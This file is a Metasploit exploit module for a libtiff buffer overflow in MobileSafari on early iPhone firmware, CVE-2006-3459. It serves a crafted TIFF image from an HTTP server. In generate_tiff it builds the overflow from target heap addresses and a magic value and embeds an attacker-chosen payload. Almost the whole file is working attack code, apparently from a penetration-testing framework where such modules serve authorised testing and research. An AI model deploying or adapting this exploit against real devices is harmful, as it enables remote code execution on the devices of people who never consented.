require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description'=> %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License'=> MSF_LICENSE,
'Author' =>['hdm', 'kf'],
'Version'=> '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload'=>
{
'Space'=> 1800,
'BadChars' => "",
'Prepend'=>
[
0xe3a0c042,
0xef000080,
0xe3500000,
0x1a000001,
0xe3a0c001,
0xef000080
].pack("V*")
},
'Targets'=>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
'Heap' => 0x00802000,
'Magic'=> 0x300d562c,
}
],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
return if ((p = regenerate_payload(cli)) == nil)
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
handler(cli)
end
def generate_tiff(code, targ)
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
hehe = rand_text(lolz)
hehe[120, 4] = [targ['Magic']].pack("V")
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
hehe[ 92, 4] = [ hehe.length ].pack("V")
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
hehe[192, 4] = [targ['Heap'] + 196].pack("V")
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end